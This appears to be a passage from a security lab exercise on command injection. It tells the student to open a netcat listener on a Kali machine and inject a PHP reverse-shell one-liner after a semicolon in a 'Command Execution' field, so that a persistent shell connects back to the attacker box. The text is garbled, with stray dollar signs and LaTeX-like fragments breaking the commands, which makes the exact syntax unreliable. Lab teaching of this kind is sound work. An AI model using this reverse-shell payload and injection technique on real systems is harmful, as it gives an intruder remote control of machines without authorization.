$5.$ Use this technique to create a permanent remote shell that will stand even if your browser is closed. First, in Kali$$s prompt execute $$nc $-$nlvp $4444$ to open a listener on this port. Keep it open. Then, in $$Command Execution$,$ after the IP address and separated by a semicolon, use the payload below to create a remote shell that connects with your listener. Finally, execute some commands in the listener$$s shell, such as $$id$$ and $$pwd$.$ Capture a screenshot.

php $-$r $\text{'}$$sock$=$fsockopen$("$IP$\_$Kali$\_$box",$4444)$;exec$("/$bin$/$sh $-$i $<$&$3>$&$32>$&$3")$;$\text{'}$